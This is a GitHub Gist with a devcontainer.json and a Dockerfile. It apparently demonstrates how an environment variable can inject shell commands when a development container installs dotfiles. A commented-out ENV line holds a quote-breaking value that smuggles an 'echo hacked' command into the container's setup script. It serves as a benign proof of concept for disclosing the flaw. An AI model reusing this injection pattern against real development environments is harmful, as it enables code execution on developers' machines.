Last active
August 12, 2021 08:42
-
-
Save kfigiela/d0d1982c4700a6a5031060f1a3e3a3ee to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"name": "example", | |
"build": { | |
"dockerfile": "Dockerfile", | |
}, | |
"remoteUser": "user" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM buildpack-deps:focal | |
RUN useradd -m user | |
USER user | |
# Uncomment this in order to get the script executed when dotfiles are installed | |
# ENV HACKED="'; echo hacked >> /home/user/hacked.txt; '" | |
# Uncomment this to observe "Syntax error: redirection unexpected" error | |
# dotfiles won't be installed, .gitconfig won't be copied from host | |
ENV COMP_WORDBREAKS=" \n\"'@><=;|&(" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment